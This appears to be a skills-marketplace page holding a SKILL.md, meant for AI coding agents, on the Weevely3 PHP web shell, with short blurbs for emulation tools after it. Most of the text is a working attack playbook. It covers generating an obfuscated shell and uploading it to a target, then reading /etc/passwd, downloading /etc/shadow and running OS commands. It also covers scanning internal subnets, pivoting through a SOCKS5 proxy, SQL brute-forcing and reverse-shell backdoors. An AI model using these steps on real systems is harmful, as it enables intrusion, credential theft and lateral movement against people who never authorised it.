offensive-tools/shells/weevely3/SKILL.md
Auth/lab ref: Weevely3 PHP web-shell artifact analysis; file ops, module inventory, pivot-risk review, containment and cleanup notes.
npx skillsauth add aeondave/malskill weevely3Install this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Stealth PHP webshell with 30+ post-exploitation modules.
git clone https://github.com/epinna/weevely3
cd weevely3 && pip3 install -r requirements.txt
# Generate obfuscated PHP shell
python3 weevely.py generate MyPassword shell.php
# Upload shell.php to target
# Connect
python3 weevely.py http://target.com/uploads/shell.php MyPassword
| Command | Purpose |
|---------|---------|
| :help | List all modules |
| :file_read /etc/passwd | Read file |
| :file_download /etc/shadow /tmp/shadow | Download file |
| :file_upload /local/file /remote/path | Upload file |
| :shell_sh "id" | Run OS command |
| :net_scan 192.168.1.0/24 22,80,443 | Port scan |
| :net_proxy socks5 | Start SOCKS5 proxy |
| :audit_phpconf | Audit PHP config |
| :bruteforce_sql | SQL brute-force |
:system_* for host context and process visibility:file_* for file enumeration, read/write, exfiltration:audit_* for privilege-escalation and security posture checks:net_* for internal scanning and proxy pivoting:backdoor_* for reverse/direct shell pivotsFull post-ex after upload:
:shell_sh "id && uname -a"
:file_read /etc/passwd
:net_scan 10.10.10.0/24 22,80,443
:net_proxy socks5 0.0.0.0 1080
Pivot via SOCKS5:
:net_proxy socks5 127.0.0.1 1080
# Configure proxychains → proxychains nmap internal_host
:system_info
:shell_sh "id && uname -a && pwd"
:audit_phpconf
:file_ls .
Then choose one branch:
:file_find, :file_read, :file_download):net_ifconfig, :net_scan, :net_proxy):audit_suidsgid, :audit_filesystem)| File | When to load |
|------|--------------|
| references/module-playbooks.md | Practical module chains for triage, file loot, pivoting, and privilege-escalation reconnaissance |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.